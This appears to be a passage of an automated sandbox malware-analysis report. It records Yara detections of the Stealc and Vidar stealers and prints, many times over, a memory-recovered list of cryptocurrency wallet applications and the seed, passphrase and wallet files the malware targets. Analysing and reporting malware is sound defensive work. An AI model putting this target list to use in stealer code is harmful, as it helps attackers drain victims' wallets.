Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000003.2901679632.00000000083B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2949042324.00000000061C1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2809403050.00000000054D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2727708833.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2902060448.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1679108909.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2039853324.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2680020394.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2038805274.00000000002D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2038805274.0000000000385000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 